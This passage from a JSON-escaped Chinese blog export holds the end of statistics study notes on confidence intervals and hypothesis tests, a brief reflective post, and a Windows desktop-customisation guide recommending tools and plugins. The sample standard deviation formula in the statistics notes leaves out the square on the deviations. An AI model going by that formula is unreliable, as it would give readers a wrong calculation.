更有效。\u003c/p\u003e\n\u003ch2\u003e区间估计\u003c/h2\u003e\n\u003cp\u003e$X \\sim N(\\mu,\\sigma^2)$ ,通常将给定的 $\\bar{X}=\\mu,S=\\sigma$ 。\u003cbr/\u003e\n置信度:$1-\\alpha$ ,通常 $\\alpha=5\\%$ 。\u003c/p\u003e\n\u003ch3\u003e求 $\\mu$ 置信区间\u003c/h3\u003e\n\u003ch4\u003e$\\sigma^2$ 已知\u003c/h4\u003e\n\u003cp\u003e枢轴量(标准化):\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\bar{X}-\\mu}{\\sigma/\\sqrt{n}}\\sim N(0,1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\mu \\in (\\bar{x}-\\frac{\\sigma}{\\sqrt{n}}\\mu_{\\frac{\\alpha}{2}},\\bar{x}+\\frac{\\sigma}{\\sqrt{n}}\\mu_{\\frac{\\alpha}{2}})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch4\u003e$\\sigma^2$ 未知\u003c/h4\u003e\n\u003cp\u003e枢轴量:\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{\\bar{X}-\\mu}{S/\\sqrt{n}}\\sim t(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\mu \\in (\\bar{x}-\\frac{S}{\\sqrt{n}}t_{\\frac{\\alpha}{2}}(n-1),\\bar{x}+\\frac{S}{\\sqrt{n}}t_{\\frac{\\alpha}{2}}(n-1))\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch3\u003e求 $\\sigma^2$ 置信区间\u003c/h3\u003e\n\u003cp\u003e通常 $\\mu$ 未知。\u003cbr/\u003e\n枢轴量:\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\frac{(n-1)S^2}{\\sigma^2}\\sim \\chi^2(n-1)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\sigma^2 \\in (\\frac{(n-1)S^2}{\\chi^2_{\\frac{\\alpha}{2}}(n-1)},\\frac{(n-1)S^2}{\\chi^2_{1-\\frac{\\alpha}{2}}(n-1)})\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003ch2\u003e假设检验\u003c/h2\u003e\n\u003cp\u003e一般取 $\\alpha=5\\%$ \u003c/p\u003e\n\u003ch3\u003e$\\mu$ 检验\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e提出假设 $H_0:\\mu=\\mu_0,H_1:\\mu \\ne \\mu_0$ \u003c/li\u003e\n\u003cli\u003e选择检验统计量(枢轴量)\u003cul\u003e\n\u003cli\u003e$\\sigma^2$ 已知,选择 $\\frac{\\bar{X}-\\mu}{\\sigma/\\sqrt{n}}\\sim N(0,1)$ ,为 U 检验\u003c/li\u003e\n\u003cli\u003e$\\sigma^2$ 未知,选择 $\\frac{\\bar{X}-\\mu}{S/\\sqrt{n}}\\sim t(n-1)$ ,为 T 检验\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e根据选择的枢轴量求得拒绝域\u003cbr/\u003e\n$W=(-\\infty,-\\mu_{\\frac{\\alpha}{2}})\\cup (\\mu_{\\frac{\\alpha}{2}},\\infty)$\u003cbr/\u003e\n$W=(-\\infty,-t_{\\frac{\\alpha}{2}}(n-1))\\cup (t_{\\frac{\\alpha}{2}}(n-1),\\infty)$ \u003c/li\u003e\n\u003cli\u003e若根据 $\\bar{X}$ 计算所得枢轴量在 $W$ 内,假设 $H_0$ 不成立。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003e$\\sigma^2$ 检验\u003c/h3\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nS=\\sqrt{S^2}=\\sqrt{\\frac{1}{n-1}\\sum^{n}_{i=1}(x_i-\\bar{X})}\u003cbr/\u003e\n$$\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e提出假设 $H_0:\\sigma^2=\\sigma_0^2,H_1:\\sigma^2 \\ne \\sigma_0^2$ \u003c/li\u003e\n\u003cli\u003e选择检验统计量\u003cbr/\u003e\n$\\frac{(n-1)S^2}{\\sigma^2}\\sim \\chi^2(n-1)$ ,为$\\chi^2$ 检验\u003c/li\u003e\n\u003cli\u003e求得拒绝域\u003cbr/\u003e\n$W=(0,\\chi^2_{1-\\frac{\\alpha}{2}}(n-1)) \\cup (\\chi^2_{\\frac{\\alpha}{2}}(n-1),\\infty)$ \u003c/li\u003e\n\u003cli\u003e若根据 $S$ 计算所得枢轴量在 $W$ 内,假设 $H_0$ 不成立。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003e补充\u003c/h2\u003e\n\u003ch3\u003e分布函数\u003c/h3\u003e\n\u003cp\u003e对于连续型随机变量,分布函数连续。\u003cbr/\u003e\n对于离散型随机变量,由于不同教材对分布函数定义不同,有左连续或右连续情况。\u003c/p\u003e\n\u003ch4\u003e左连续\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=P(X\u0026lt;x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n在此定义下\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=F(x^-)=F(x-0)=P(X\u0026lt;x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x^+)=F(x+0)=P(X\u0026lt;x)+P(X=x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n当 $P(X=x)\\ne 0$ 时,显然 $F(x^+)\u0026gt;F(x)=F(x^-)$ ,此时分布函数左连续而右不连续。\u003c/p\u003e\n\u003ch4\u003e右连续\u003c/h4\u003e\n\u003cp\u003e$$\u003cbr/\u003e\nF(x)=P(X \\le x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n在此定义下\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=F(x^+)=F(x+0)=P(X \\le x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x^-)=F(x-0)=P(X \\le x)-P(X=x)\u003cbr/\u003e\n$$\u003cbr/\u003e\n当 $P(X=x)\\ne 0$ 时,显然 $F(x^+)=F(x)\u0026gt;F(x^-)$ ,此时分布函数右连续而左不连续。\u003c/p\u003e\n\u003ch4\u003e抛硬币举例\u003c/h4\u003e\n\u003cp\u003e抛一次硬币,正面计 1,反面计 0 。\u003cbr/\u003e\nX 是一维离散型随机变量\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(x=0)=0.5\\\\\u003cbr/\u003e\nP(x=1)=0.5\\\\\u003cbr/\u003e\nP(x=others)=0\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n由此得\u003cbr/\u003e\n$$\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\nP(x\u0026lt;0)=0\\\\\u003cbr/\u003e\nP(0 \\le x \u0026lt; 1)=0.5\\\\\u003cbr/\u003e\nP(x \\ge 1)=1\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n当设分布函数为 $F(x)=P(X\u0026lt;x)$ 时,\u003cbr/\u003e\n$$\u003cbr/\u003e\nF(x)=\u003cbr/\u003e\n\\begin{cases}\u003cbr/\u003e\n0, \u0026amp; x \\le 0\\\\\u003cbr/\u003e\n0.5, \u0026amp; 0 \u0026lt; x \\le 1\\\\\u003cbr/\u003e\n1, \u0026amp; x\u0026gt;1\\\\\u003cbr/\u003e\n\\end{cases}\u003cbr/\u003e\n$$\u003cbr/\u003e\n$F(0^-)=F(0)=0$,$F(0^+)=0.5$,$x=0$ 是间断点,左连续而右不连续。\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Probability-and-Statistics.html"},{"title":"凭栏静听潇潇雨,故国人民有所思。","time":"2024-09-09T09:54:00Z","content":"“我有一个梦,也许有一天,灿烂的阳光能照进黑暗森林。”这时,这里的太阳却在落下去,现在只在远山露出顶端的一点,像山顶上镶嵌着的一块光灿灿的宝石。孩子已经跑远,同草地一起沐浴在金色的晚霞之中。太阳...\u003chr /\u003e\u003cp\u003e“我有一个梦,也许有一天,灿烂的阳光能照进黑暗森林。”\u003cbr/\u003e\n这时,这里的太阳却在落下去,现在只在远山露出顶端的一点,像山顶上镶嵌着的一块光灿灿的宝石。孩子已经跑远,同草地一起沐浴在金色的晚霞之中。\u003cbr/\u003e\n太阳快落下去了,你们的孩子居然不害怕?\u003cbr/\u003e\n“当然不害怕,她知道明天太阳还会升起来的。”\u003c/p\u003e\n\u003cp\u003e晚安。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2683784600.jpg\" alt=\"毛1.JPG\" loading=\"lazy\"/\u003e\u003c/p\u003e\n","url":"https://guzhengsvt.top/index.php/archives/Remembering-Chairman-Mao.html"},{"title":"Windows美化历程","time":"2024-09-07T13:12:00Z","content":"前言俗话说的好,美化的尽头是默认。虽然默认的 Windows 已经能高效地胜任各项工作,但它确实 ugly 啊。在拥有一台性能过剩 PC 的情况下,适度追求美化和简化,满足本私斋的高端审美是极有...\u003chr /\u003e\u003ch2\u003e前言\u003c/h2\u003e\n\u003cp\u003e俗话说的好,\u003cstrong\u003e美化的尽头是默认\u003c/strong\u003e。\u003cbr/\u003e\n虽然默认的 Windows 已经能高效地胜任各项工作,但它确实 ugly 啊。\u003cbr/\u003e\n在拥有一台性能过剩 PC 的情况下,适度追求美化和简化,满足本私斋的\u003cdel\u003e高端审美\u003c/del\u003e是极有必要的()\u003c/p\u003e\n\u003cp\u003e下面来说说我在用/用过的美化软件/方案。\u003c/p\u003e\n\u003ch2\u003e当前桌面方案\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eTranslucentTB:任务栏透明/亚克力效果\u003c/li\u003e\n\u003cli\u003eSapphire:桌面图标交互优化\u003c/li\u003e\n\u003cli\u003eWallpaper Engine:为减少 GPU 消耗和内存占用,只选了 Blue Archive 中 Noa 的记忆大厅作为壁纸,几秒的 4 K 视频,整个 Wallpaper 内存占用约 100 Mb。\u003c/li\u003e\n\u003cli\u003eRainmeter:只用了一个音频条作为美化,因为 Noa 已经够美了😋\u003cbr/\u003e\n原来用过查看硬件信息的组件,发现除了增加焦虑外没什么用,遂放弃。\u003c/li\u003e\n\u003cli\u003eQQ 美化、网易云音乐美化、光标美化、Obsidian 主题、插件安排上。再加上 Edge 浏览器的 iTab 标签页和各类实用插件,目前的工作流完全舒适。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e贴几张图\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/4189283242.png\" alt=\"桌面展示1.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1078908045.png\" alt=\"桌面展示2.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2569059367.png\" alt=\"QQ美化展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/2176031375.png\" alt=\"Edge展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/994680139.png\" alt=\"Obsidian展示.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/130206377.png\" alt=\"任务管理器展示.png\" loading=\"lazy\"/\u003e\u003cbr/\u003e\n在以上正常工作流下,内存占大头的是浏览器,GPU 消耗主要来自 wallpaper,从登录到完全自启动耗时 10s 内,均在可接受负载范围内。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e配置:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e12400 F\u003c/li\u003e\n\u003cli\u003e7700 XT\u003c/li\u003e\n\u003cli\u003e32G DDR4\u003c/li\u003e\n\u003cli\u003e2K 180Hz HDR显示器\u003c/li\u003e\n\u003cli\u003eWindows 11 专业版 23H2\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eQQ 美化\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\nQQ 是大部分中国人不得不用又恨之入骨的东西——广告、弹窗、不想看的娱乐页面、花里胡哨功能性差的界面。\u003cbr/\u003e\nWindows 端自从推出 QQ 9,上述情况改善了不少,然而恶心人的东西最近逐渐加回来了,只能说本性难移。\u003cbr/\u003e\n为了不被迫在这个常用软件上天天吃屎,伟大的具有开源精神和折腾精神的中文互联网人纷纷投入 QQ 改造计划,而今天我要介绍的就是其中一个伟大项目——\u003cstrong\u003eLiteLoaderQQNT\u003c/strong\u003e。\u003cbr/\u003e\n好了说正事,liteloader 是 QQNT 的插件平台,安装后可以下载众多插件。\u003cbr/\u003e\nGitHub 项目地址:\u003ca href=\"https://github.com/LiteLoaderQQNT/LiteLoaderQQNT\"\u003eLiteLoaderQQNT: QQNT 插件加载器:轻量 · 简洁 · 开源 · 福瑞\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e部分推荐插件如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xinyihl/LiteLoaderQQNT-PluginInstaller/tree/main\"\u003ePluginInstaller\u003c/a\u003e:LiteLoaderQQNT 插件安装器,可检查更新和一键安装/重启。先安装这个再安装其他插件省事很多。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ltxhhz/LL-plugin-list-viewer/tree/main\"\u003eLL-plugin-list-viewer\u003c/a\u003e: LiteLoaderQQNT Plugin 插件列表查看·安装·更新。收录了大部分插件,可直达 GitHub 项目地址。安装功能存在问题,部分插件需要手动安装和更新,否则会报错无法启动 QQ,建议作为插件/主题查看器。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xiyuesaves/LiteLoaderQQNT-lite_tools/tree/v4\"\u003e轻量工具箱 —— 轻量 · 优雅 · 高效 · 福瑞\u003c/a\u003e:聚合了大量功能的工具箱,免于四处寻找插件。部分可选功能如下:\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e美化聊天界面\u003c/strong\u003e实现类 tg 效果(显示头像,加时间戳,消息靠左等)\u003c/li\u003e\n\u003cli\u003e移除称号、VIP 、推荐标签等乱七八糟的东西。\u003c/li\u003e\n\u003cli\u003e右键快捷搜索文字/图片,消息转图片发送\u003c/li\u003e\n\u003cli\u003e选项高亮,特殊消息高亮\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e小程序分享转 URL 卡片\u003c/strong\u003e,记录离开时位置,快捷+1(复读机)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e消息预览\u003c/strong\u003e:根据消息中第一个链接生成一张类 tg 的预览卡片\u003c/li\u003e\n\u003cli\u003e本地表情\u003c/li\u003e\n\u003cli\u003e消息后缀\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e撤回消息缓存并高亮\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e设置背景\u003c/strong\u003e,调整亮度、透明度,可加磨砂等效果\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e精简侧边栏\u003c/strong\u003e,所有功能可开关\u003c/li\u003e\n\u003cli\u003e输入框、消息框功能开关\u003c/li\u003e\n\u003cli\u003e……\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-QR-Decode/tree/master\"\u003e二维码解析\u003c/a\u003e:对 QQNT 聊天中的图片进行二维码解析\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-Directly-Jump/tree/master\"\u003e使用自定义浏览器打开链接并跳过拦截页\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/MUKAPP/LiteLoaderQQNT-DeepL/tree/main\"\u003e将 DeepL 翻译接入你的 QQNT\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/d0j1a1701/LiteLoaderQQNT-Markdown/tree/v4\"\u003eMarkdown\u003c/a\u003e:为 QQ 添加 Markdown 渲染支持。发出的消息只有安装了该插件的 QQNT 能渲染 markdown,所以大部分情况下没用。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xh321/LiteLoaderQQNT-Kill-Update/tree/master\"\u003eKill-Update\u003c/a\u003e:关闭 QQ自动更新弹窗,有些插件不会第一时间支持最新版 QQ,所以禁止更新是有用的。\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mo-jinran/window-on-top/tree/v4\"\u003ewindow-on-top\u003c/a\u003e:让窗口有置顶功能\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e还有一些主题我没有介绍,因为去除垃圾之后部分美化的 QQNT 已经很好看了。\u003cbr/\u003e\n另外 ChatGPT 等 AI 接入插件也有,懒得折腾 API(\u003cdel\u003e没钱\u003c/del\u003e)。\u003c/p\u003e\n\u003ch2\u003e网易云音乐美化\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n众所周知,国内几大音乐平台巨头都在走复杂化、流量化路线,今天加一个社区,明天加一个短视频,长期 VIP 跳脸。\u003cbr/\u003e\n作为听音乐的软件,有几项基本功能就够了。国内外都有很多做得好的音乐播放器,但“播放器”和“音乐平台”之间还是有很多差距的。比如便捷搜索歌曲,查看评论,一起听等。建立歌单、关注歌手、充值购买等沉没成本也迫使用户继续吃屎。\u003cbr/\u003e\n我一直用的网易云音乐有一群伟大的互联网人做了插件,美化后确实美观好用。\u003cbr/\u003e\n首先是插件平台 \u003cstrong\u003ebetterncm\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e官网:\u003ca href=\"https://microblock.cc/betterncm\"\u003eMicroBlock | BetterNCM\u003c/a\u003e \u003c/li\u003e\n\u003cli\u003eGitHub 项目地址:\u003ca href=\"https://github.com/MicroCBer/BetterNCM\"\u003eGitHub - MicroCBer/BetterNCM: NCM 软件插件管理器\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e社区:\u003ca href=\"https://v2e2npdz15.feishu.cn/docx/UZkSd9d46o4fVOxaPNBcGXSenme\"\u003e关于 BetterNCM 最全面的介绍以及疑难解答 - 飞书云文档\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e优点是安装 betterncm 后,所有的主题、插件可以从网易云内平台下载、更新,不用一个个去查找翻 GitHub。\u003cbr/\u003e\n\u003cstrong\u003e推荐主题:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMateria You:比较简洁的主题,纯色背景没有背景图片。配色方案多样。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1596889912.png\" alt=\"Matreia You.png\" loading=\"lazy\"/\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e推荐插件:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eRoundCornerNCM:网易云音乐窗口圆角,仅 Windows 11。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMikuPlugin:管理各元素是否显示,可以关闭恼人的视频、直播等元素。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/439024086.png\" alt=\"MikuPlugin.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e类苹果歌词:将歌曲页面改为类 Apple Music 的样式,还可更改歌词源。\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/663279809.png\" alt=\"类苹果歌词.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这首歌的封面是什么?:歌曲列表添加封面,增加储存占用,易造成卡顿\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/1807448404.png\" alt=\"这首歌的封面是什么?.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRuLyrics:桌面歌词插件,支持逐词,主副歌词,更改字体,分别更改前景色(已唱)、背景色(未唱),支持嵌入任务栏(与 TranslucentTB 同时使用似乎有点问题)\u003cbr/\u003e\n\u003cimg src=\"https://guzhengsvt.top/usr/uploads/2024/09/285235071.png\" alt=\"桌面歌词.png\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e更多好用插件自行探索下载\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e部分插件对其他插件有依赖、冲突,注意在 GitHub Issues 查看甄别。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2\u003eWallpaper Engine\u003c/h2\u003e\n\u003cp\u003e==必备好物!==\u003cbr/\u003e\n鼎鼎大名的万能小红车,开启××√享受崭新人生(bushi)\u003cbr/\u003e\n作为最常用最好用的壁纸软件,wallpaper 有许多优点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e资源丰富。steam 创意工坊每时每刻都有大量优质壁纸上架,且几乎全部免费下载使用。\u003c/li\u003e\n\u003cli\u003e资源种类多。视频、图片、动图、网页……壁纸种类极多,且不少壁纸功能丰富,聚合了音乐歌词、特效、频谱等功能,一键装点桌面。\u003c/li\u003e\n\u003cli\u003e找资源方便。Wallpaper 搜索和筛选规则完善丰富,可筛选壁纸分辨率、类型、适用年龄等。\u003c/li\u003e\n\u003cli\u003e使用简便。基于 steam 创意工坊,能访问 steam 就能下载壁纸,无需翻墙,下载速度有保障。大部分壁纸,即使功能复杂,在 wallpaper 界面也能轻松设置。\u003c/li\u003e\n\u003cli\u003e串联手机。Wallpaper 推出了安卓应用,可通过 PC 向手机传输使用壁纸。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eWarning\u003c/strong\u003e:部分复杂特效网页、高清视频壁纸较为消耗 GPU 性能,占显存较多。可以在 wallpaper 设置里调整帧率、特效和应用行为等改善。\u003c/p\u003e\n\u003cp\u003e唯一的缺点是在 steam 购买 wallpaper 需要 19 RMB,不过这价格真不高吧。\u003c/p\u003e\n\u003cp\u003eSteam:\u003ca href=\"https://store.steampowered.com/app/431960/Wallpaper_Engine/\"\u003eSteam 上的 Wallpaper Engine:壁纸引擎\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eTranslucentTB\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n任务栏透明工具,可以全透、亚克力、不透,换主题色等。\u003cbr/\u003e\n占用内存、储存极小,几乎不消耗 CPU 性能。\u003c/p\u003e\n\u003cp\u003eGitHub 项目地址:\u003ca href=\"https://github.com/TranslucentTB/TranslucentTB\"\u003eGitHub - TranslucentTB\u003c/a\u003e\u003cbr/\u003e\nGitHub 中文翻译项目地址:\u003ca href=\"https://github.com/kasuganosoras/TranslucentTB-CN\"\u003eGitHub - kasuganosoras/TranslucentTB-CN\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRainmeter\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n久负盛名的桌面组件工具,可以自制功能多样的\u003cstrong\u003e小部件\u003c/strong\u003e放在桌面,也可以方便地导入他人制作的部件(即皮肤)。\u003cbr/\u003e\n常见的功能有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e显示 CPU、GPU、内存等硬件信息(实时更新)\u003c/li\u003e\n\u003cli\u003e音频识别生成各式各样的律动频谱条\u003c/li\u003e\n\u003cli\u003e媒体播放器\u003c/li\u003e\n\u003cli\u003e一键追番、查看新番\u003c/li\u003e\n\u003cli\u003e放置图片、轮播图库等\u003c/li\u003e\n\u003cli\u003e……\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e组件放多了会卡\u003c/li\u003e\n\u003cli\u003e部分组件资源消耗大\u003c/li\u003e\n\u003cli\u003e选择太多了需要折腾\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e官网:\u003ca href=\"https://www.rainmeter.net/\"\u003eRainmeter\u003c/a\u003e\u003cbr/\u003e\n中国官网:\u003ca href=\"https://rainmeter.cn/\"\u003e个人分享 Rainmeter\u003c/a\u003e\u003cbr/\u003e\nGitHub 项目地址:\u003ca href=\"https://github.com/rainmeter/rainmeter\"\u003eGitHub - rainmeter\u003c/a\u003e\u003cbr/\u003e\n中国社区:\u003ca href=\"https://bbs.rainmeter.cn/\"\u003e雨滴美化社区\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eStart 11\u003c/h2\u003e\n\u003cp\u003e任务栏及开始菜单美化工具\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e可以将开始菜单改为 Windows 7-11 的风格,可改变颜色、透明度、间距、对齐方式等。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e高级索引功能\u003c/strong\u003e:与 Edge 浏览器配对时,打开的选项卡也会显示在搜索内容中,最常用的内容在结果中的显示位置会更高。\u003cstrong\u003e移除本地搜索结果旁边显示的 Web 内容的选项!\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e更改开始按钮图标,开始菜单背景图,任务栏颜色、纹理。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e缺点\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e付费\u003c/li\u003e\n\u003cli\u003e我用起来有卡顿、启动慢等现象。\u003c/li\u003e\n\u003cli\u003e和 TranslucentTB 不兼容。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e官网终身版售价 35 RMB,小贵,30 天免费试用。有许多代理,存在学习版(不推荐)。\u003c/p\u003e\n\u003cp\u003e官网:\u003ca href=\"https://stardock-start11.com/\"\u003eStart11\u003c/a\u003e\u003cbr/\u003e\n中国官网: \u003ca href=\"https://www.start11.cn/\"\u003eStart 11\u003c/a\u003e\u003cbr/\u003e\nSteam(褒贬不一):\u003ca href=\"https://store.steampowered.com/app/1694750/Start11_v2/\"\u003eSteam 上的 Start11 v2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e枫の美化工具箱\u003c/h2\u003e\n\u003cp\u003e文件资源管理器、开始菜单、全局窗口美化工具\u003cbr/\u003e\n目前拥有的功能: \u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e主页面:自定义文件资源管理器窗口字体、局部颜色模式 Light、Dark (实验性局部Dark模式存在小的视觉bug) \u003c/li\u003e\n\u003cli\u003e背景设置:自定义文件资源管理器、开始菜单、系统设置的\u003cstrong\u003e背景图片\u003c/strong\u003e \u003c/li\u003e\n\u003cli\u003e颜色设置:自定义文件资源管理器配色(标题、组、页眉、详细信息、硬盘进度条)、圆角化硬盘进度条 \u003c/li\u003e\n\u003cli\u003e图标设置:自定义桌面、文件资源管理器图标组图标 \u003c/li\u003e\n\u003cli\u003e窗口设置:自定义文件资源管理器窗口\u003cstrong\u003e背景效果\u003c/strong\u003e半透明、Blur、Acrylic、Mica效果 win11圆角类型、开始菜单、系统设置Acrylic背景效果 \u003c/li\u003e\n\u003cli\u003e控件样式:自定义全局窗口\u003cstrong\u003e标题栏按钮样式\u003c/strong\u003e、macOS样式按钮、文件资源管理器Tab标签页、\u003cstrong\u003e工具栏\u003c/strong\u003e、地址栏配色、自绘圆角滚动条 \u003c/li\u003e\n\u003cli\u003e预设列表:保存、导入、分享你的配置文件 \u003c/li\u003e\n\u003cli\u003e插件列表:安装插件增强和扩展工具箱的功能\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eEvaluations:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e还算是简单易用,内存和 GPU 占用尚可接受。\u003c/li\u003e\n\u003cli\u003e可装插件和导入配置文件,有一定可玩性。\u003c/li\u003e\n\u003cli\u003e不兼容 TranslucentTB\u003c/li\u003e\n\u003cli\u003e我用起来文件资源管理器常崩溃、不显示背景图片、工具栏配色未更改,可能已经优化稳定了。\u003c/li\u003e\n\u003cli\u003e背景图片清晰度不高,在 dark 模式下背景图片容易干扰正常阅读文件信息\u003c/li\u003e\n\u003cli\u003e软件免费,不完全开源,需要注册登录账号。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e发布地址:\u003ca href=\"https://winmoes.com/tools/12948.html\"\u003ewin美化工具箱 ★ 枫の主题社\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eSapphire\u003c/h2\u003e\n\u003cp\u003e==特别推荐!==\u003cbr/\u003e\n桌面图标、布局美化,\u003cstrong\u003e更改交互体验\u003c/strong\u003e。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e可调整桌面图标布局,更改横纵网格数\u003c/li\u003e\n\u003cli\u003e放置格子(类手机上的文件夹),将桌面各类文件直接放进文件夹,分类同一管理\u003c/li\u003e\n\u003cli\u003e调整图标、格子大小(网格数整数倍),圆角,背景,透明度\u003c/li\u003e\n\u003cli\u003e更改文件名的字体\u003c/li\u003e\n\u003cli\u003e精简模式去除文件名,可每个图标单独设置\u003c/li\u003e\n\u003cli\u003e可设置交互动效\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDock 栏\u003c/strong\u003e,类 Mac/手机下方的 